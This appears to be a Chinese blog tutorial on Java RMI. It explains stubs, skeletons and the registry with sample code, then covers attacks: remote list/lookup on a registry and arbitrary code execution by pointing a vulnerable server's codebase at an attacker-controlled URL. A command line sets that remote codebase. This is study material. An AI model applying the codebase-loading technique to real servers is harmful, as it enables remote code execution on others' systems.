浅谈RMI
RMI小记
RMI(Remote Method Invocation)
也就是远程方法调用,他的目标与RPC(Remote Call Protocol)
远程过程调用协议类似,让某个java
虚拟机上的对象调用另一个java
虚拟机中对象上的方法,只是RMI
是Java
独有的一种机制。
在网络传输的过程中,RMI
中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI
服务端在接收到序列化后的会将对象进行反序列化。
在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI
就可以作为反序列化利用链的触发点
先来看看下面这个RMI架构
:
RMI
的组成
RMI
主要分为三个部分:
- Client客户端:客户端调用服务端的方法
- Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
- Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用
RMI
调用的目的就是调用远程机器的类和调用一个写在本地的类一样
唯一区别就是RMI
服务端提供的方法,被调用时方法是执行在服务端
为了屏蔽网络通信的复杂性,RMI
引入了两个概念,分别是Stubs(客户端存根)
以及Skeletons(服务端骨架)
,RMI
调用远程方法的过程大致就像下面这样:
RMI客户端
在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
。Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象。RemoteCall
序列化RMI服务名称
、Remote
对象。RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
。RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
。Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化。Skeleton
处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端。RMI客户端
反序列化服务端结果,获取远程对象的引用。RMI客户端
调用远程方法,RMI服务端
反射调用RMI服务实现类
的对应方法并序列化执行结果返回给客户端。RMI客户端
反序列化RMI
远程方法调用结果。
可能上面这么说会比较抽象,对刚刚接触的可能不太友好,那么换一种简单点的说法。
当客户端(Client)试图调用一个在远端的Object
时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为Stub
,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是Skeleton
,它从Stub
中接收远程方法调用并传递给真实的目标类。Stubs
以及Skeletons
的调用对于RMI
服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过Stub
和Skeleton
来实现的。
这样应该就好理解一点
RMI Register
像一个网关,自己不会执行远程方法,但是RMI Server
可以在上面注册一个Name
到对象的绑定关系,RMI Client
通过这个Name
向RMI Registry
查询,获得绑定关系,然后连接RMI Server
。最后,远程方法在RMI Server
上调用
RMI
实现
Server
一个RMIServer
分成三个部分:
- 一个继承了
java.rmi.Remote
的接口,其中定义我们想要远程调用的函数 - 一个实现了此接口的类,此类实现了函数题,并且继承
UnicastRemoteObject
类 - 一个主类,用来创建
Registry
,并将上面的类实例化后绑定到一个地址。就是所谓的Server
了
0x01 编写一个远程接口
1 | public interface IRemoteHelloWorld extends Remote { |
- 这个接口需要使用
public
声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起) - 继承
java.rmi.Remote
接口 - 接口的方法需要抛出
RemoteException
异常
0x02 实现该远程接口
1 | public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{ |
- 该类实现远程接口
- 继承
UnicastRemoteObject
类,貌似继承了之后会使用默认socket
进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject
类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()
静态方法。) - 构造方法抛出
RemoteException
异常 - 实现类中使用的对象必须都可序列化,即都继承
java.io.Serilizable
0x03 Registry注册远程对象
上面我们已经把远程调用的类创建好了,那么接下来我们就要创建并调用它了
Java RMI
设计了一个Registry
的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个RMI
电话本,我们想在某个人那里获取信息时(Remote Method Invocation
),我们在电话本上(Registry
)通过这个人的名称 (Name
)来找到这个人的电话号码(Reference
),并通过这个号码找到这个人(Remote Object
)。
这种思想由:java.rmi.registry
和java.rmi.Naming
来实现的
java.rim.Naming
这是一个final
类,提供了在远程对象注册表中存储和获取远程对象引用的方法
这个类的每个方法中都有一个URL
格式的参数,格式为:rmi://host:port/ObjectName
- host表示注册表所在的主机
- port表示注册表接受调用的端口号,默认1099
- name表示一个注册的
Remote Object
的引用名称
我们实现了服务端带调用的对象,现在需要利用Naming.rebind()
函数将其注册到registry
中
步骤:
- 利用
LocateRegistry.createRegistry(1099);
创建registry注册中心
- 实例化远程对象
- 将实例化对象绑定到
registry注册中心
1 | public class RemoteServer { |
这里就已经搭建好服务端了。
Client
接下来我们需要搭建客户端,来远程执行服务器上的对象方法。
步骤如下:
- 使用
Naming
通过名字找到registry
中绑定的对象 - 调用对象的方法
这里我们使用Naming.lookup()
方法寻找registry
的对象
1 | public class Client { |
执行
先执行服务端,再执行客户端:
在客户端的控制台成功返回Hello,World!
刚刚接触的师傅可能会有疑问,为什么对象方法输出的hello~~~()
字符串在服务端输出呢。
这就是因为RMI
中远程方法是在服务端调用的,并将方法执行结果返回给客户端。
但是在server
端通过RMI
来发布服务的时候,远程调用的时候可能会出现以下错误:
1 | Exception in thread "main" java.rmi.UnmarshalException: error unmarshalling return; nested exception is: |
因为不只是接口服务于实现类是一样的,并且包的名字也必须一样才可以,不然在调用的时候就会发生以上的错误。可以把这些类封装成一个公共的jar包来引用,才能很好地避免调用的时候出现错误
RMI
通信过程总结
一个RMI
过程有以下三个参与者:
RMI Registry
RMI Server
RMI Client
但是我上面给的示例代码只有两个部分,这是因为我们在新建一个RMI Registry
的时候会直接绑定一个对象在上面,也就是我们上面示例代码中的Server
包含了Registry
和Server
两部分:
1 | LocateRegistry.createRegistry(1099); |
第一行创建并运行RMI Registry
,第三行将remoteHelloWorld
对象绑定到Hello
这个名字上。
Naming.bind
的第一个参数是一个URL,形如rmi://host:port/name
。其中host
和port
就是RMI Registry
的地址和端口,name
是远程对象的名字。
如果RMI Registry
在本地运行,那么host
和port
可以省略,host
默认是localhost
,port
默认是1099
:
1 | Naming.rebind("deicide", remoteHelloWorld); |
那么接下来的问题就是RMI
会带来哪些安全问题。
如何攻击RMI Registry
从上面的示例代码来看,可以从两个方面来思考这个问题:
- 如果我们能访问
RMI Registry
服务,如何对其进行攻击? - 如果我们控制了目标
RMI
客户端中Naming.lookup
的第一个参数(RMI Registry
的地址),能不能进行攻击?
当我们可以访问目标RMI Registry
的时候,会有哪些安全问题呢?
首先RMI Registry
是一个远程对象管理的地方,可以理解为一个远程对象的“后台”。我们可以尝试直接访问“后台功能”,比如修改远程服务器上deicide
对应的对象:
1 | RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld(); |
但是当你这么写的时候,就会爆出这样的错误:
由于Java
对远程访问RMI Registry
做了限制,只有来源地址是localhost
的时候,才能调用rebind
、bind
、unbind
等方法
不过list
和lookup
方法可以远程调用
list
方法可以列出目标上所有绑定的对象:
1 | String[] s = Naming.list("rmi://192.168.141.142:1099"); |
lookup
的作用就是获取远程对象
那么只要目标服务器上存在一些危险方法,我们通过RMI
就可以对其进行调用,比如之前的一个工具
BaRMIe,其中一个功能就是进行危险方法的探测。
但是,RMI
的攻击面绝不像就这样,后面我会写一篇文章通过步入调试来查找RMI
的反序列化攻击点。
RMI
利用codebase
执行任意代码
RMI
中存在远程加载的场景,会涉及到codebase
cadebase
是一个地址,告诉Java
虚拟机我们应该从哪个地方去搜索类,有点像日用的CLASSPATH
,但是CLASSPATH
是本地路径,而codebase
通常是远程URL,比如http
、ftp
等
如果我们指定codebase=http://example.com/
,然后加载org.example.RMI.RMIServer
类,那么Java
虚拟机会下载这个文件http://example.com/org/example/RMI/RMIServer.class
,并作为RMIServer
类的字节码。
RMI
的流程中,客户端和服务端之间传递的是序列化后的对象,这些对象在反序列化时,就回去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH
下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase
中的类。
那么如果codebase
被控制,我们不就可以加载恶意类了吗?
嘿 在RMI
中,我们是可以将codebase
随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH
和指定的codebase
寻找类,由于codebase
被控制导致任意命令执行漏洞。
显然官方也注意到了这个安全隐患,所以只有满足如下条件的RMI
服务器才能被攻击:
安装并配置了
SecurityManager
Java
版本低于7u21
、6u45
,或者设置了java.rmi.Server.useCodebaseOnly=false
,其中java.rmi.server.useCodebaseOnly
是在Java 7u21、6u45
的时候修改的一个默认设置:https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
https://www.oracle.com/java/technologies/javase/7u21-relnotes.html
官方将java.rmi.server.useCodebaseOnly
的默认值由false
改为了true
。在这种情况下,Java
虚拟机将只信任预先配置好的codebase
,不再支持从RMI
请求中获取。
由于笔者虚拟机的环境有一点问题,调了一下午环境也没整出来就直接用P牛的吧。本来想自己调环境复现一下漏洞的。下面是P牛的Java安全漫谈
的内容
先来编写一个简单的RMIServer
用于复现这个漏洞。建立四个文件
1 | // ICalc.java |
编译及运行
1 | javac *.java |
其中,java.rmi.server.hostname
是服务器的IP地址,远程调用时需要根据这个值来访问RMI Server
。
然后,我们再建立一个RMIClient.java
:
1 | import java.io.Serializable; |
这个Client
我们需要在另一个位置运行,因为我们需要让RMI Server
在本地CLASSPATH
里找不到类,才会去加载codebase
中的类,所以不能将RMIClient.java
防在RMI Server
所在的目录中。
运行RMIClient
:
1 | java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient |
此时会抛出一个magic value
不正确的错误:
查看example.com
的日志,可见收到了来自Java
的请求/RMIClient$Payload.class
。因为我们还没有实际防止这个类文件,所以上面出现了异常
我们只需要编译一个恶意类,将其class
文件放置在Web服务器的/RMIClient$Payload.class
即可。
对于RMI
反序列化漏洞,准备在写一些反序列化的文章的时候一块写。
感谢P牛的JAVA安全漫谈以及师傅们的文章